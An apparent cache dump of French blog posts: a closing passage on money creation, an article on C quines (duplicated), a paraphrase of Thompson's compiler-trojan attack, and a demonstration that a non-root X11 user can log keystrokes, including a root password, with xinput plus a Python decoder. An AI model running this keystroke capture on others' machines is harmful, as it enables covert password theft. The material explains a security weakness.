La possibilité très théorique que la société soit capable de rembourser ses dettes (afin qu’elles n’augmentent pas perpétuellement) ne remet nullement en cause les critiques fondamentales que porte Louis Even (et bien d’autres) sur le fonctionnement de la création monétaire, manifestement injuste.

Un système où la pénurie de monnaie est quasiment garantie, et où les richesses sont redistribuées massivement de la population vers les banques, n’est pas acceptable. Ne devons donc le corriger. Comment ?

La première étape est de comprendre comment fonctionne le système actuel, pour envisager plusieurs réponses. L’une d’elles est le 100% monnaie.

Personnellement, je suis convaincu que la meilleure est le dividende universel, pour plusieurs raisons (et beaucoup d’autres).

À vous de vous forger votre avis…

";s:7:"dateiso";s:15:"20111203_142301";}s:15:"20111114_221417";a:7:{s:5:"title";s:38:"Programmes auto-reproducteurs (quines)";s:4:"link";s:67:"http://blog.rom1v.com/2011/11/programmes-auto-reproducteurs-quines/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=3308";s:7:"pubDate";s:31:"Mon, 14 Nov 2011 21:14:17 +0000";s:11:"description";s:361:"Vous êtes-vous déjà demandé comment écrire un programme qui génère son propre code source ? Si vous n’avez jamais essayé, je vous conseille de prendre un peu de temps pour y réfléchir avant de lire la suite. Ce n’est pas évident, car chaque caractère ajouté dans le code source doit également apparaître sur la sortie… Un [...]";s:7:"content";s:26734:"

Vous êtes-vous déjà demandé comment écrire un programme qui génère son propre code source ? Si vous n’avez jamais essayé, je vous conseille de prendre un peu de temps pour y réfléchir avant de lire la suite. Ce n’est pas évident, car chaque caractère ajouté dans le code source doit également apparaître sur la sortie…

Un tel programme s’appelle un quine. Et il est prouvé qu’avec tout langage de programmation il existe un quine (une infinité ?). Cette page détaille un peu plus la théorie.

Des exemples sont déjà écrits pour plein de langages.

Quine simple

Voici un programme auto-reproducteur simple en C :

#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}

Nous pouvons tester, ce programme se génère bien lui-même :

$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}

(essayez de l’écrire ou de le réécrire tout seul pour bien comprendre comment ça fonctionne)

L’essentiel de l’astuce ici est de passer la chaîne « s » à la fois en tant que format et d’argument de printf.

Ce n’est pas sans poser de problèmes : dans la déclaration de la chaîne s, nous ne pouvons pas écrire « " » (évidemment), ni « \" », car alors il faudrait que le programme génère le « \" », donc le « " », ce que précisément nous cherchons à faire. L’astuce est donc d’utiliser son code ASCII (34), inséré grâce aux « %c ». Le code 10, quant à lui, correspond au saut de ligne.

Quine alternatif

Nous pouvons imaginer deux programmes qui se génèrent l’un-l’autre : un programme A génère un code source B, tel que le programme B génère le code source A.

À partir de l’exemple précédent, c’est trivial, il suffit de rajouter une variable (que j’ai appelée « f » comme « flag ») dont on alterne la valeur :

#include<stdio.h>
main(){int f=0;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}

La valeur de f alterne entre 0 et 1 :

$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=1;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=0;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=1;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}

Quasi-quine

Il est également possible d’écrire un programme qui en génère un autre, qui lui-même en génère un autre… sans jamais « boucler ».
Je me suis amusé à en écrire deux exemples.

Fibonacci

Le premier calcule la suite de Fibonacci. Ou plutôt, il contient les deux premiers éléments de la suite (F(0)=0 et F(1)=1), génère un programme qui contiendra F(1) et F(2), qui lui-même générera un programme qui contiendra F(2) et F(3), etc. :

#include<stdio.h>
main(){int a=0,b=1;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}

Pour obtenir F(10) et F(11) (suivre les valeurs des variables a et b) :

$ for i in {1..10}; do gcc quine.c && ./a.out | tee quine.c; done
#include<stdio.h>
main(){int a=1,b=1;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=1,b=2;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=2,b=3;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=3,b=5;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=5,b=8;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=8,b=13;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=13,b=21;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=21,b=34;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=34,b=55;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=55,b=89;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}

Ce que je trouve fabuleux, c’est que chaque programme, qui connaît deux valeurs de la suite, sait non seulement générer un nouveau programme qui calculera la valeur suivante (ça, c’est facile), mais en plus, ce nouveau programme saura lui-même générer un autre programme qui calculera la prochaine, etc. Chaque programme transmet en quelque sorte son code génétique à sa descendance.

PGCD

Suivant le même principe, il est possible de calculer le PGCD de deux nombres. Nous pouvons générer une lignée de programmes qui calculeront chacun une étape de l’algorithme d’Euclide.

Cet exemple permet de calculer PGCD(64,36) :

#include<stdio.h>
main(){int a=64,b=36;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}

Le caractère « % » ayant une signification dans le formatage de printf, nous devons le doubler.
Nous aurions pu utiliser à la place a-a/b*b (ce qui revient à peu près au même, si a et b sont positifs avec a>b).

Voici le résultat (suivre les valeurs des variables a et b) :

$ for i in {1..5}; do gcc quine.c && ./a.out | tee quine.c; done
#include<stdio.h>
main(){int a=36,b=28;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=28,b=8;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=8,b=4;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=4,b=0;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=4,b=0;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}

Une fois la solution trouvée (lorsque b vaut 0), le programme se comporte comme un vrai quine (il se regénère à l’identique).

Compilateur magique

Passons maintenant à l’étape suivante. Jusqu’à maintenant, nous avons généré un programme qui génère un autre programme… Très bien.
Mais ces programmes générés (en fait, leur code source), nous les compilons avec un compilateur (gcc).

Mais un compilateur, c’est un programme, qui en plus est écrit dans le langage qu’il doit compiler. En particulier, le compilateur C est écrit en C.

À partir là, il est possible de faire des choses très intéressantes, comme l’a expliqué en 1984 Ken Thompson dans son célèbre article « Reflections on Trusting Trust » (que je vais paraphraser).

Le code suivant est une idéalisation du code du compilateur C qui interprète le caractère d’échappement :

c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';

C’est « magique » : le programme sait, de manière totalement portable, quel caractère est compilé pour un saut de ligne pour n’importe quel jeu de caractères. Le fait qu’il le sache lui permet de se recompiler lui-même, en perpétuant ainsi cette connaissance.

Supposons que nous voulions rajouter le caractère spécial « \v » pour écrire une « tabulation verticale » :

c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';
if (c == 'v')
    return '\v';

Évidemment, si le compilateur ne connaît pas « \v », ce code ne compile pas. Mais il suffit de lui apprendre : le code ASCII de la tabulation verticale est 11. Nous pouvons donc modifier temporairement le compilateur, pour en générer une nouvelle version :

c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';
if (c == 'v')
    return 11;

La nouvelle version du compilateur accepte maintenant « \v », et peut donc compiler son propre code source contenant ce caractère. Le code source contenant le « 11 » peut donc être totalement supprimé et oublié.

C’est un concept profond. Il suffit de lui dire une fois, l’auto-référencement fait le reste.

Cheval de Troie (quasi-)indétectable

Considérons alors la fonction compile(s) permettant de compiler une ligne de code source. Une simple modification va délibérément mal compiler la source lorsqu’un motif est détecté :

void compile(char * s) {
    if (match(s, "pattern")) {
        compile("bug");
        return;
    }
    …
}

Supposons que le motif permette d’identifier la commande login, et que le bug (cheval de Troie) compilé permette d’accepter, en plus du mot de passe correct, un mot de passe prédéfini quelconque : nous pourrions, en connaissant ce « faux » mot de passe, nous connecter sur n’importe quelle machine possédant le programme login compilé avec ce compilateur.

Mais évidemment, un tel bout de code dans le compilateur C ne passerait pas inaperçu et serait détecté très rapidement… Sauf avec l’ultime étape :

void compile(char * s) {
    if (match(s, "pattern1")) {
        compile("bug1");
        return;
    }
    if (match(s, "pattern2")) {
        compile("bug2");
        return;
    }
    …
}

Ici, nous ajoutons un second cheval de Troie. Le premier motif correspond toujours à la commande login, tandis que le second motif correspond au compilateur C. Le second bug est un programme auto-reproducteur (tel que ceux que nous avons vus dans ce billet) qui insère les deux chevaux de Troie. Il nécessite une phase d’apprentissage comme dans l’exemple avec « \v ». Nous compilons d’abord la source ainsi modifiée avec le compilateur C normal pour générer un binaire corrompu, que nous utilisons désormais comme compilateur C. Maintenant, nous pouvons supprimer les bugs de la source, le nouveau compilateur va les réinsérer à chaque fois qu’il sera compilé.

Ainsi, en compilant un code source « propre » avec un compilateur dont le code source est « propre » et que nous avons compilé nous-mêmes, nous générons un binaire contenant un cheval de Troie !

Il est cependant possible de contrer cette attaque.

";s:7:"dateiso";s:15:"20111114_221417";}s:15:"20111114_211417";a:7:{s:5:"title";s:38:"Programmes auto-reproducteurs (quines)";s:4:"link";s:66:"http://blog.rom1v.com/2011/11/programmes-auto-reproducteurs-quines";s:4:"guid";s:66:"http://blog.rom1v.com/2011/11/programmes-auto-reproducteurs-quines";s:7:"pubDate";s:25:"2011-11-14T21:14:17+01:00";s:11:"description";s:0:"";s:7:"content";s:23683:"

quine

Vous êtes-vous déjà demandé comment écrire un programme qui génère son propre code source ? Si vous n’avez jamais essayé, je vous conseille de prendre un peu de temps pour y réfléchir avant de lire la suite. Ce n’est pas évident, car chaque caractère ajouté dans le code source doit également apparaître sur la sortie…

Un tel programme s’appelle un quine. Et il est prouvé qu’avec tout langage de programmation il existe un quine (une infinité ?). Cette page détaille un peu plus la théorie.

Des exemples sont déjà écrits pour plein de langages.

Quine simple

Voici un programme auto-reproducteur simple en C :

#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}

Nous pouvons tester, ce programme se génère bien lui-même :

$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}

(essayez de l’écrire ou de le réécrire tout seul pour bien comprendre comment ça fonctionne)

L’essentiel de l’astuce ici est de passer la chaîne s à la fois en tant que format et d’argument de printf.

Ce n’est pas sans poser de problèmes : dans la déclaration de la chaîne s, nous ne pouvons pas écrire " (évidemment), ni \", car alors il faudrait que le programme génère le \", donc le ", ce que précisément nous cherchons à faire. L’astuce est donc d’utiliser son code ASCII (34), inséré grâce aux %c. Le code 10, quant à lui, correspond au saut de ligne.

Quine alternatif

Nous pouvons imaginer deux programmes qui se génèrent l’un-l’autre : un programme A génère un code source B, tel que le programme B génère le code source A.

À partir de l’exemple précédent, c’est trivial, il suffit de rajouter une variable (que j’ai appelée « f » comme « flag ») dont on alterne la valeur :

#include<stdio.h>
main(){int f=0;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}

La valeur de f alterne entre 0 et 1 :

$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=1;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=0;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=1;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}

Quasi-quine

Il est également possible d’écrire un programme qui en génère un autre, qui lui-même en génère un autre… sans jamais “boucler”. Je me suis amusé à en écrire deux exemples.

Fibonacci

Le premier calcule la suite de Fibonacci. Ou plutôt, il contient les deux premiers éléments de la suite (F(0)=0 et F(1)=1), génère un programme qui contiendra F(1) et F(2), qui lui-même générera un programme qui contiendra F(2) et F(3), etc. :

#include<stdio.h>
main(){int a=0,b=1;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}

Pour obtenir F(10) et F(11) (suivre les valeurs des variables a et b) :

$ for i in {1..10}; do gcc quine.c && ./a.out | tee quine.c; done
#include<stdio.h>
main(){int a=1,b=1;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=1,b=2;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=2,b=3;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=3,b=5;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=5,b=8;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=8,b=13;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=13,b=21;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=21,b=34;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=34,b=55;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=55,b=89;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}

Ce que je trouve fabuleux, c’est que chaque programme, qui connaît deux valeurs de la suite, sait non seulement générer un nouveau programme qui calculera la valeur suivante (ça, c’est facile), mais en plus, ce nouveau programme saura lui-même générer un autre programme qui calculera la prochaine, etc. Chaque programme transmet en quelque sorte son code génétique à sa descendance.

PGCD

Suivant le même principe, il est possible de calculer le PGCD de deux nombres. Nous pouvons générer une lignée de programmes qui calculeront chacun une étape de l’algorithme d’Euclide.

Cet exemple permet de calculer PGCD(64,36) :

#include<stdio.h>
main(){int a=64,b=36;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}

Le caractère % ayant une signification dans le formatage de printf, nous devons le doubler.

Nous aurions pu utiliser à la place a-a/b*b (ce qui revient à peu près au même, si a et b sont positifs avec a>b).

Voici le résultat (suivre les valeurs des variables a et b) :

$ for i in {1..5}; do gcc quine.c && ./a.out | tee quine.c; done
#include<stdio.h>
main(){int a=36,b=28;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=28,b=8;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=8,b=4;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=4,b=0;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=4,b=0;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}

Une fois la solution trouvée (lorsque b vaut 0), le programme se comporte comme un vrai quine (il se regénère à l’identique).

Compilateur magique

Passons maintenant à l’étape suivante. Jusqu’à maintenant, nous avons généré un programme qui génère un autre programme… Très bien. Mais ces programmes générés (en fait, leur code source), nous les compilons avec un compilateur (gcc).

Mais un compilateur, c’est un programme, qui en plus est écrit dans le langage qu’il doit compiler. En particulier, le compilateur C est écrit en C.

À partir là, il est possible de faire des choses très intéressantes, comme l’a expliqué en 1984 Ken Thompson dans son célèbre article Reflections on Trusting Trust (que je vais paraphraser).

Le code suivant est une idéalisation du code du compilateur C qui interprète le caractère d’échappement :

= next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';

C’est “magique” : le programme sait, de manière totalement portable, quel caractère est compilé pour un saut de ligne pour n’importe quel jeu de caractères. Le fait qu’il le sache lui permet de se recompiler lui-même, en perpétuant ainsi cette connaissance.

Supposons que nous voulions rajouter le caractère spécial « \v » pour écrire une “tabulation verticale” :

c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';
if (c == 'v')
    return '\v';

Évidemment, si le compilateur ne connaît pas \v, ce code ne compile pas. Mais il suffit de lui apprendre : le code ASCII de la tabulation verticale est 11. Nous pouvons donc modifier temporairement le compilateur, pour en générer une nouvelle version :

c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';
if (c == 'v')
    return 11;

La nouvelle version du compilateur accepte maintenant « \v », et peut donc compiler son propre code source contenant ce caractère. Le code source contenant le 11 peut donc être totalement supprimé et oublié.

C’est un concept profond. Il suffit de lui dire une fois, l’auto-référencement fait le reste.

Cheval de Troie (quasi-)indétectable

Considérons alors la fonction compile(s) permettant de compiler une ligne de code source. Une simple modification va délibérément mal compiler la source lorsqu’un motif est détecté :

void compile(char *s) {
    if (match(s, "pattern")) {
        compile("bug");
        return;
    }
    // …
}

Supposons que le motif permette d’identifier la commande login, et que le bug (cheval de Troie) compilé permette d’accepter, en plus du mot de passe correct, un mot de passe prédéfini quelconque : nous pourrions, en connaissant ce “faux” mot de passe, nous connecter sur n’importe quelle machine possédant le programme login compilé avec ce compilateur.

Mais évidemment, un tel bout de code dans le compilateur C ne passerait pas inaperçu et serait détecté très rapidement… Sauf avec l’ultime étape :

void compile(char * s) {
    if (match(s, "pattern1")) {
        compile("bug1");
        return;
    }
    if (match(s, "pattern2")) {
        compile("bug2");
        return;
    }
    // …
}

Ici, nous ajoutons un second cheval de Troie. Le premier motif correspond toujours à la commande login, tandis que le second motif correspond au compilateur C. Le second bug est un programme auto-reproducteur (tel que ceux que nous avons vus dans ce billet) qui insère les deux chevaux de Troie. Il nécessite une phase d’apprentissage comme dans l’exemple avec \v. Nous compilons d’abord la source ainsi modifiée avec le compilateur C normal pour générer un binaire corrompu, que nous utilisons désormais comme compilateur C. Maintenant, nous pouvons supprimer les bugs de la source, le nouveau compilateur va les réinsérer à chaque fois qu’il sera compilé.

Ainsi, en compilant un code source “propre” avec un compilateur dont le code source est “propre” et que nous avons compilé nous-mêmes, nous générons un binaire contenant un cheval de Troie !

Il est cependant possible de contrer cette attaque.

";s:7:"dateiso";s:15:"20111114_211417";}s:15:"20111101_230957";a:7:{s:5:"title";s:69:"Keylogger sous GNU/Linux : enregistrer les touches tapées au clavier";s:4:"link";s:96:"http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=3212";s:7:"pubDate";s:31:"Tue, 01 Nov 2011 22:09:57 +0000";s:11:"description";s:363:"En tant que root, il est bien sûr potentiellement possible de faire ce que l’on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger). Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root. Démonstration Et en plus, c’est tout [...]";s:7:"content";s:6114:"


En tant que root, il est bien sûr potentiellement possible de faire ce que l’on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger).

Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root.

Démonstration

Et en plus, c’est tout simple : il suffit pour un programme d’écouter les événements clavier envoyés par le serveur X.
Prenons un outil qui le fait déjà (ça nous évitera de le coder), xinput :

apt-get install xinput

Pour obtenir la liste des périphériques utilisables :

xinput list

Repérer la ligne concernant le clavier (contenant « AT ») et noter son id (ici 11).

$ xinput list | grep AT
    ↳ AT Translated Set 2 keyboard            	id=11	[slave  keyboard (3)]

Puis démarrer l’écoute sur ce périphérique dans un terminal :

xinput test 11

Au fur et à mesure que l’on tape du texte, la sortie standard de xinput indique quelles touches sont tapées :

key press   56 
key release 56 
key press   32 
key release 32 
key press   57 
key release 57 
key press   44 
key release 44 
key press   32 
key press   30 
key release 32 
key release 30 
key press   27 
key release 27

Cela fonctionne même lorsqu’on écrit dans une autre application, quelque soit l’utilisateur qui l’a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le mot de passe est bien capturé :

$ su -
Mot de passe : 

Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au clavier (et donc l’enregistrer, l’envoyer à un serveur…).

Décodage

Convertisseur

La sortie de xinput n’est pas très utilisable en pratique. Pour la décoder, un programme d’une vingtaine de lignes en Python suffit (fortement inspiré de ce PoC). Appelons-le xinput-decoder.py :

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import re, sys
from subprocess import *

def get_keymap():
    keymap = {}
    table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
    for line in table:
        m = re.match('keycode +(\d+) = (.+)', line.decode())
        if m and m.groups()[1]:
            keymap[m.groups()[0]] = m.groups()[1].split()[0]
    return keymap

if __name__ == '__main__':
    keymap = get_keymap();
    for line in sys.stdin:
        m = re.match('key press +(\d+)', line.decode())
        if m:
            keycode = m.groups()[0]
            if keycode in keymap:
                print keymap[keycode],
            else:
                print '?' + keycode,

Pour convertir le résultat à la volée :

xinput test 11 | ./xinput-decoder.py

Problème de redirection

Le problème, c’est que lorsqu’on redirige la sortie de xinput dans un fichier ou en entrée d’un autre programme, le contenu ne s’affiche que par salves (d’environ 128 caractères apparemment). Sans doute une histoire de buffer, à mon avis activé uniquement lorsque la fonction isatty() retourne true.

Pour contourner le problème et récupérer les dernières touches tapées, il est possible de démarrer la commande dans un screen :

screen xinput test 11

puis, à la fin de la capture, d’enregistrer le contenu dans un fichier. Pour cela, dans le screen ainsi ouvert, taper Ctrl+A, :, puis hardcopy -h /tmp/log.
De cette manière, /tmp/log contiendra toute la capture.

Pour convertir le résultat :

$ ./xinput-parser.py < /tmp/log
s u space minus Return mon mot de passe root Return a p t minus g e t space u p d a t e Return Control_L a colon

Améliorations

Une solution plus pratique serait peut-être de démarrer xinput par le programme Python, en lui faisant croire qu’il écrit dans un TTY (ce que je ne sais pas faire). Quelqu’un l’a fait en Perl.
Il faudrait également prendre en compte le relâchement des touches dans le décodeur, car lorsqu’il affiche « Shift_L a b », nous n’avons aucun moyen de savoir si la touche Shift a été relâchée avant le a, entre le a et le b, ou après le b.

Liens

Merci à Papillon-butineur de m’avoir fait découvrir ce fonctionnement étonnant du serveur X.
Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires : The Linux Security Circus: On GUI isolation.

";s:7:"dateiso";s:15:"20111101_230957";}s:15:"20111101_220957";a:7:{s:5:"title";s:70:"Keylogger sous GNU/Linux : enregistrer les touches tapées au clavier";s:4:"link";s:95:"http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier";s:4:"guid";s:95:"http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier";s:7:"pubDate";s:25:"2011-11-01T22:09:57+01:00";s:11:"description";s:0:"";s:7:"content";s:9508:"

En tant que root, il est bien sûr potentiellement possible de faire ce que l’on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger).

keyboard

Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root.

Démonstration

